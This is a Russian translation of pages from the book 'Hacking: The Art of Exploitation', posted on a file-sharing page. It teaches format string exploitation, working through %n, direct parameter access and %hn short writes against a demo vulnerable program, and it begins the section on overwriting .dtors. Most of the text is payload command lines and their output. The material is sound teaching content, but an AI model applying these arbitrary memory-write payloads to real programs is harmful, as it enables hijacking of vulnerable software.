Главная страница
Навигация по странице:

  • 0x355 Прямой доступ к параметрам

  • $1 = 98 (gdb) p 0xfd - 0x72$2 = 139 (gdb) p 0xff - 0xfd$3 = 2(gdb) p 0x1ff - 0xfd$4 = 258

  • 0x356 Запись коротких целых

  • [*] test_val @ 0x08049794 = -65515 0xffff0015

  • [*] test_val @ 0x08049794 = 327608 0x0004ffb8 reader@hacking: /booksrc $ 0x350 Форматные строки 209

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница23 из 51
    1   ...   19   20   21   22   23   24   25   26   ...   51

    203
    Как показывает этот листинг, изменение кода привело также к смеще- нию адреса переменной test_val. Однако видно, что next_val распола- гается вплотную к ней. Для практики снова запишем адрес в перемен- ную test_val с учетом ее нового адреса.
    В прошлый раз мы выбрали очень удобный адрес 0xddccbbaa. Поскольку каждый следующий байт оказывается больше предыдущего, легко уве- личивать счетчик байтов для каждого байта. А если нужен адрес вро- де 0x0806abcd? Для такого адреса легко записать первый байт 0xCD с по- мощью параметра формата %n, выведя 205 байт при ширине поля 161.
    Но следующим должен быть записан байт 0xAB, для которого надо вы- вести 171 байт. Счетчик байтов для параметра формата %n легко увели- чить, но его невозможно уменьшить. reader@hacking:

    /booksrc $ ./fmt_vuln2 AAAA%x%x%x%x
    The right way to print user-controlled input:
    AAAA%x%x%x%x
    The wrong way to print user-controlled input:
    AAAAbffff3d0b7fe75fc041414141
    [*] test_val @ 0x080497f4 = -72 0xffffffb8
    [*] next_val @ 0x080497f8 = 286331153 0x11111111
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xcd - 5”
    $1 = 200
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%8x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%8x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%8x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%8x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
    [*] test_val @ 0x080497f4 = 52 0x00000034
    [*] next_val @ 0x080497f8 = 286331153 0x11111111
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xcd - 52 + 8”
    $1 = 161
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%161x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
    0
    [*] test_val @ 0x080497f4 = 205 0x000000cd
    [*] next_val @ 0x080497f8 = 286331153 0x11111111
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xab - 0xcd”

    204
    0x300 Эксплойты
    $1 = -34
    reader@hacking:/booksrc $
    Не пытаясь вычесть 34 из 205, увеличим счетчик до значения 0x1AB, младший байт которого совпадает с требуемым, для чего прибавим
    222 к 205, и получим 427, то есть десятичное представление 0x1AB.
    С помощью того же приема установим младший байт в 0x06 для треть- ей записи.
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x1ab - 0xcd”
    $1 = 222
    reader@hacking:/booksrc $ gdb -q --batch -ex “p /d 0x1ab”
    $1 = 427
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
    0 4b4e554a
    [*] test_val @ 0x080497f4 = 109517 0x0001abcd
    [*] next_val @ 0x080497f8 = 286331136 0x11111100
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x06 - 0xab”
    $1 = -165
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x106 - 0xab”
    $1 = 91
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\
    x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\
    x08”)%x%x%161x%n%222x%n%91x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
    0 4b4e554a
    4b4e554a
    [*] test_val @ 0x080497f4 = 33991629 0x0206abcd
    [*] next_val @ 0x080497f8 = 286326784 0x11110000
    reader@hacking:/booksrc $
    При каждой операции в байты переменной next_val, примыкающей к test_val, записываются новые значения. Техника циклического сло- жения действует исправно, но при записи последнего байта возникает небольшая трудность.
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x08 - 0x06”
    $1 = 2
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n%91x
    %n%2x%n
    The right way to print user-controlled input:

    0x350 Форматные строки
    205
    ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%2x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
    0 4b4e554a
    4b4e554a4b4e554a
    [*] test_val @ 0x080497f4 = 235318221 0x0e06abcd
    [*] next_val @ 0x080497f8 = 285212674 0x11000002
    reader@hacking:/booksrc $
    Что здесь произошло? Разность между 0x06 и 0x08 равна всего 2, но вы- водится 8 байт, что приводит к записи параметром формата %n значе- ния 0x0e. Дело в том, что опция ширины поля для параметра формата
    %x задает лишь минимальную ширину поля, а вывести надо было 8 байт данных. От этой трудности можно избавиться посредством еще одного циклического сложения, но ограничения, связанные с опцией шири- ны поля, полезно запомнить.
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x108 - 0x06”
    $1 = 258
    reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
    x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n%91x
    %n%258x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%258x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
    0 4b4e554a
    4b4e554a
    4b4e554a
    [*] test_val @ 0x080497f4 = 134654925 0x0806abcd
    [*] next_val @ 0x080497f8 = 285212675 0x11000003
    reader@hacking:/booksrc $
    Как и прежде, помещаем соответствующие адреса и мусорные встав- ки в начало форматной строки и управляем младшим байтом в четырех операциях записи, чтобы переписать все 4 байта переменной test_val.
    Уменьшение значения младшего байта осуществляем с помощью цикли- ческого сложения. Аналогичный подход может потребоваться и при не- обходимости увеличить значение меньше чем на 8.
    0x355 Прямой доступ к параметрам
    Прямой доступ к параметрам упрощает эксплойты форматной строки.
    В предшествующих эксплойтах каждый аргумент параметров форма- тирования надо было проходить последовательно; при этом требова- лось несколько параметров %x, чтобы пройти через аргументы параме- тров, пока не будет достигнуто начало форматной строки. Кроме того, для последовательного подхода понадобилось трижды вставить 4-байт-

    206
    0x300 Эксплойты ное слово (JUNK), чтобы правильно записать полный адрес в произволь- ное место памяти.
    Как видно из его названия, метод прямого доступа к параметрам по- зволяет непосредственно обращаться к параметрам, для чего приме- няется квалификатор – символ доллара. Например, %n$d – обращение к n-му параметру и его вывод в виде десятичного числа.
    printf(“7th: %7$d, 4th: %4$05d\n”, 10, 20, 30, 40, 50, 60, 70, 80);
    При таком вызове printf() получим:
    7th: 70, 4th: 00040
    Параметр форматирования %7$d выводит десятичное число 70, по- скольку седьмой аргумент параметров – 70. Второй параметр форма- тирования обращается к четвертому аргументу параметров и содержит опцию ширины поля 05. Все остальные аргументы параметров остают- ся в неприкосновенности. Такой метод прямого доступа устраняет не- обходимость последовательного просмотра памяти до обнаружения на- чала форматной строки, потому что к этому участку памяти можно об- ратиться непосредственно. Следующий листинг иллюстрирует меха- низм прямого доступа к параметрам.
    reader@hacking:/booksrc $ ./fmt_vuln AAAA%x%x%x%x
    The right way to print user-controlled input:
    AAAA%x%x%x%x
    The wrong way to print user-controlled input:
    AAAAbffff3d0b7fe75fc041414141
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $ ./fmt_vuln AAAA%4\$x
    The right way to print user-controlled input:
    AAAA%4$x
    The wrong way to print user-controlled input:
    AAAA41414141
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    В этом примере начало форматной строки находится на месте четверто- го аргумента параметров. К этой памяти можно обратиться непосред- ственно, не проходя через первые три аргумента параметров с помо- щью параметров формата %x. Поскольку это происходит в командной строке, а символ доллара относится к специальным, его необходимо защитить обратной косой чертой (\). Тем самым командной оболочке сообщается, что она не должна интерпретировать символ доллара как специальный символ. Чтобы увидеть фактическую форматную строку, ее нужно правильно печатать.
    Прямой доступ к параметрам также упрощает запись адресов памя- ти. Раз обращение к памяти происходит напрямую, не нужно встав- лять 4-байтные мусорные данные для увеличения счетчика выведен- ных данных. Каждый из параметров формата %x, обычно выполняю-

    0x350 Форматные строки
    207
    щих эту функцию, может непосредственно обратиться к участку па- мяти перед форматной строкой. Для тренировки попробуем записать в переменную test_val более реалистично выглядящий адрес 0xbffffd72 с помощью прямого доступа к параметрам.
    reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
    “\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04\x08”’)%4\$n
    The right way to print user-controlled input:
    ????????%4$n
    The wrong way to print user-controlled input:
    ????????
    [*] test_val @ 0x08049794 = 16 0x00000010
    reader@hacking:/booksrc $ gdb -q
    (gdb) p 0x72 - 16
    $1 = 98
    (gdb) p 0xfd - 0x72
    $2 = 139
    (gdb) p 0xff - 0xfd
    $3 = 2
    (gdb) p 0x1ff - 0xfd
    $4 = 258
    (gdb) p 0xbf - 0xff
    $5 = -64
    (gdb) p 0x1bf - 0xff
    $6 = 192
    (gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
    “\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04 x08”’)
    %98x%4\$n%139x%5\$n
    The right way to print user-controlled input:
    ????????%98x%4$n%139x%5$n
    The wrong way to print user-controlled input:
    ????????
    bffff3c0
    b7fe75fc
    [*] test_val @ 0x08049794 = 64882 0x0000fd72
    reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
    “\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04\x08”’)%98x%4\$n%139x
    %5\$n%258x%6\$n%192x%7\$n
    The right way to print user-controlled input:
    ????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n
    The wrong way to print user-controlled input:
    ????????
    bffff3b0
    b7fe75fc
    0 8049794
    [*] test_val @ 0x08049794 = -1073742478 0xbffffd72
    reader@hacking:/booksrc $

    208
    0x300 Эксплойты
    Поскольку нет надобности выводить стек, чтобы добраться до нужно- го адреса, с первым параметром форматирования выводятся 16 байт.
    Прямой доступ к параметрам использован только для параметров фор- мата %n, поскольку на самом деле не важно, какие значения использу- ются во вставках %x. Прямой доступ к параметрам упрощает процеду- ру записи адреса и уменьшает требуемый размер форматной строки.
    0x356 Запись коротких целых
    Еще один способ упростить эксплойты форматной строки – запись зна- чений short (короткие целые). Обычно short представляет собой двух- байтовое слово, и параметры форматирования могут работать с таки- ми словами особым образом. Полное описание всех параметров форма- та есть на странице руководства для printf. Фрагмент, описывающий модификатор длины:
    Модификатор длины
    Целое преобразование устанавливается для преобразователей d, i, o, u, x или X.
    h Следующее целое преобразование соответствует аргументу short int или unsigned short int, либо следующее преобразование n соответствует аргументу указателя на short int.
    Это можно использовать в эксплойтах форматной строки для записи коротких целых. В приводимой ниже распечатке значение short (выде- лено полужирным) записывается по обоим концам 4-байтной перемен- ной test_val. Естественно, по-прежнему можно применять прямой до- ступ к параметрам.
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%x%hn
    The right way to print user-controlled input:
    ??%x%x%x%hn
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc0
    [*] test_val @ 0x08049794 = -65515 0xffff0015
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08”)%x%x%x%hn
    The right way to print user-controlled input:
    ??%x%x%x%hn
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc0
    [*] test_val @ 0x08049794 = 1441720 0x0015ffb8
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08”)%4\$hn
    The right way to print user-controlled input:
    ??%4$hn
    The wrong way to print user-controlled input:
    ??
    [*] test_val @ 0x08049794 = 327608 0x0004ffb8
    reader@hacking:/booksrc $

    0x350 Форматные строки
    209
    Используя вывод коротких целых, можно записать все четырехбайт- ное значение с помощью всего двух параметров %hn. Пример записи в переменную test_val с новым адресом 0xbffffd72:
    reader@hacking:/booksrc $ gdb -q
    (gdb) p 0xfd72 - 8
    $1 = 64874
    (gdb) p 0xbfff - 0xfd72
    $2 = -15731
    (gdb) p 0x1bfff - 0xfd72
    $3 = 49805
    (gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08\x96\x97\
    x04\x08”)%64874x%4\$hn%49805x%5\$hn
    The right way to print user-controlled input:
    ????%64874x%4$hn%49805x%5$hn
    The wrong way to print user-controlled input:
    b7fe75fc
    [*] test_val @ 0x08049794 = -1073742478 0xbffffd72
    reader@hacking:/booksrc $
    В этом примере для того чтобы записать второе значение 0xbfff, кото- рое меньше 0xfd72, использован знакомый прием циклического сло- жения. При записи коротких целых порядок записи не важен, поэто- му первый раз можно записать 0xfd72, а второй – 0xbfff, если поменять местами два адреса. Ниже показано, как сначала записывается адрес
    0x08049796
    , а потом 0x08049794.
    (gdb) p 0xbfff - 8
    $1 = 49143
    (gdb) p 0xfd72 - 0xbfff
    $2 = 15731
    (gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08\x94\x97\
    x04\x08”)%49143x%4\$hn%15731x%5\$hn
    The right way to print user-controlled input:
    ????%49143x%4$hn%15731x%5$hn
    The wrong way to print user-controlled input:
    ????
    b7fe75fc
    [*] test_val @ 0x08049794 = -1073742478 0xbffffd72
    reader@hacking:/booksrc $
    Тот, кто может изменить данные в памяти по произвольному адресу, способен управлять порядком выполнения программы. Один из вари- антов – изменить адрес возврата в последнем кадре стека, как это дела- лось при переполнении в стеке. Возможны и другие цели, адреса кото- рых более предсказуемы. Переполнения в стеке по своей природе по- зволяют только заменить адрес возврата, тогда как форматные строки дают возможность изменить любой адрес памяти, что открывает новые возможности.

    210
    0x300 Эксплойты
    0x357 Обход с помощью .dtors
    В двоичных программах, скомпилированных с помощью компилятора
    GNU C, есть особые таблицы с именами .dtors и .ctors, создаваемые со- ответственно для деструкторов и конструкторов. Функции конструк- тора выполняются раньше, чем функция main, а функции деструкто- ра – непосредственно перед завершением работы функции main с помо- щью системного вызова exit.
    Особый интерес представляют функции деструкторов и табличный раздел .dtors. Функцию можно объявить деструктором с помощью осо- бого атрибута destructor, как в следующем примере кода.
    dtors_sample.c
    #include
    #include
    static void cleanup(void) __attribute__ ((destructor));
    main() {
    printf(“Some actions happen in the main() function..\n”);
    printf(“and then when main() exits, the destructor is called..\n”);
    exit(0);
    }
    void cleanup(void) {
    printf(“In the cleanup function now..\n”);
    }
    В этом примере функция cleanup() определена с атрибутом destructor, поэтому она автоматически вызывается при выходе из функции main(), как показано ниже.
    reader@hacking:/booksrc $ gcc -o dtors_sample dtors_sample.c reader@hacking:/booksrc $ ./dtors_sample
    Some actions happen in the main() function..
    and then when main() exits, the destructor is called..
    In the cleanup() function now..
    reader@hacking:/booksrc $
    Режимом автоматического выполнения функций при завершении ра- боты программы управляет таблица .dtors из двоичного модуля. Эта таблица представляет собой группу 32-разрядных адресов, оканчи- вающуюся нулевым адресом. Группа всегда начинается с 0xffffffff и заканчивается нулевым адресом 0x00000000. В промежутке находят- ся адреса всех функций, объявленных с атрибутом destructor. С помо- щью команды nm можно найти адрес функции cleanup(), а с помощью objdump
    – исследовать разделы двоичного модуля.

    0x350 Форматные строки
    211
    reader@hacking:/booksrc $ nm ./dtors_sample
    080495bc d _DYNAMIC
    08049688 d _GLOBAL_OFFSET_TABLE_
    080484e4 R _IO_stdin_used w _Jv_RegisterClasses
    080495a8 d __CTOR_END__
    080495a4 d __CTOR_LIST__
    1 080495b4 d __DTOR_END__
    2 080495ac d __DTOR_LIST__
    080485a0 r __FRAME_END__
    080495b8 d __JCR_END__
    080495b8 d __JCR_LIST__
    080496b0 A __bss_start
    080496a4 D __data_start
    08048480 t __do_global_ctors_aux
    08048340 t __do_global_dtors_aux
    080496a8 D __dso_handle w __gmon_start__
    08048479 T __i686.get_pc_thunk.bx
    080495a4 d __init_array_end
    080495a4 d __init_array_start
    08048400 T __libc_csu_fini
    08048410 T __libc_csu_init
    U __libc_start_main@@GLIBC_2.0 080496b0 A _edata
    080496b4 A _end
    080484b0 T _fini
    080484e0 R _fp_hw
    0804827c T _init
    080482f0 T _start
    08048314 t call_gmon_start
    1   ...   19   20   21   22   23   24   25   26   ...   51


    написать администратору сайта